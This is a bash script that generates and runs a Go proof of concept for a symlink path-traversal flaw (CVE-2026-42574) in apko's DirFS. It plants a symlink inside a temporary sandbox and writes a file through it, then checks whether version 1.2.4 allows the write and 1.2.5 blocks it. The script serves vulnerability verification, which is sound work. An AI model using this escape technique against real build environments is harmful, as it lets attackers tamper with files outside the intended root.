#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO"

cd "$REPRO"

VULN_TAG="v1.2.4"
FIX_TAG="v1.2.5"

# Self-contained reproduction program: writes the Go source every run
cat > "$REPRO/main.go" <<'GOEOF'
package main

import (
	"context"
	"encoding/json"
	"fmt"
	"os"
	"path/filepath"

	apkfs "chainguard.dev/apko/pkg/apk/fs"
)

type Report struct {
	Sandbox     string `json:"sandbox"`
	BaseDir     string `json:"base_dir"`
	OutsideDir  string `json:"outside_dir"`
	OutsideFile string `json:"outside_file"`
	WriteError  string `json:"write_error,omitempty"`
	FileExists  bool   `json:"file_exists"`
	FileContent string `json:"file_content,omitempty"`
}

func main() {
	if len(os.Args) != 2 {
		fmt.Fprintln(os.Stderr, "usage: repro <report.json>")
		os.Exit(1)
	}
	reportPath := os.Args[1]

	sandbox, err := os.MkdirTemp("", "apko-repro-")
	if err != nil {
		fmt.Fprintf(os.Stderr, "mkdir temp: %v\n", err)
		os.Exit(1)
	}
	defer os.RemoveAll(sandbox)

	base := filepath.Join(sandbox, "base")
	outside := filepath.Join(sandbox, "outside")
	os.MkdirAll(outside, 0755)
	os.MkdirAll(base, 0755)

	ctx := context.Background()
	fsys := apkfs.DirFS(ctx, base, apkfs.WithCreateDir())
	if fsys == nil {
		fmt.Fprintln(os.Stderr, "failed to create dirfs")
		os.Exit(1)
	}

	// Plant a symlink inside base pointing to the outside directory
	if err := fsys.Symlink("../outside", "evil"); err != nil {
		fmt.Fprintf(os.Stderr, "symlink: %v\n", err)
		os.Exit(1)
	}

	// Attempt to write through the planted symlink
	writeErr := fsys.WriteFile("evil/pwned", []byte("malicious-content"), 0644)

	outsideFile := filepath.Join(outside, "pwned")
	_, statErr := os.Stat(outsideFile)

	r := Report{
		Sandbox:     sandbox,
		BaseDir:     base,
		OutsideDir:  outside,
		OutsideFile: outsideFile,
		FileExists:  statErr == nil,
	}
	if writeErr != nil {
		r.WriteError = writeErr.Error()
	}
	if statErr == nil {
		content, _ := os.ReadFile(outsideFile)
		r.FileContent = string(content)
	}

	j, _ := json.MarshalIndent(r, "", "  ")
	os.WriteFile(reportPath, j, 0644)
}
GOEOF

cat > "$REPRO/go.mod" <<EOF
module apko-repro

go 1.23

require chainguard.dev/apko $VULN_TAG
EOF

# Download dependencies
go mod tidy >/dev/null 2>&1

# --- Vulnerable run ---
echo "=== Testing vulnerable version $VULN_TAG ==="
go get "chainguard.dev/apko@$VULN_TAG" >/dev/null 2>&1
go mod tidy >/dev/null 2>&1
VULN_REPORT="$LOGS/vuln_report.json"
go run main.go "$VULN_REPORT"
VULN_EXISTS=$(jq -r '.file_exists' "$VULN_REPORT")
VULN_CONTENT=$(jq -r '.file_content // ""' "$VULN_REPORT")

echo "v1.2.4 file_exists=$VULN_EXISTS content='$VULN_CONTENT'"

# --- Fixed run ---
echo "=== Testing fixed version $FIX_TAG ==="
go get "chainguard.dev/apko@$FIX_TAG" >/dev/null 2>&1
go mod tidy >/dev/null 2>&1
FIX_REPORT="$LOGS/fix_report.json"
go run main.go "$FIX_REPORT"
FIX_EXISTS=$(jq -r '.file_exists' "$FIX_REPORT")
FIX_CONTENT=$(jq -r '.file_content // ""' "$FIX_REPORT")

echo "v1.2.5 file_exists=$FIX_EXISTS content='$FIX_CONTENT'"

# --- Runtime manifest ---
cat > "$REPRO/runtime_manifest.json" <<EOF
{
  "vulnerable_version": "$VULN_TAG",
  "fixed_version": "$FIX_TAG",
  "vulnerable_report": $(cat "$VULN_REPORT"),
  "fixed_report": $(cat "$FIX_REPORT")
}
EOF

echo ""
echo "=== Verdict ==="
if [ "$VULN_EXISTS" = "true" ] && [ "$FIX_EXISTS" = "false" ]; then
    echo "CVE-2026-42574 CONFIRMED: v1.2.4 writes outside the build root, v1.2.5 blocks it."
    exit 0
else
    echo "Could not confirm CVE-2026-42574."
    exit 1
fi
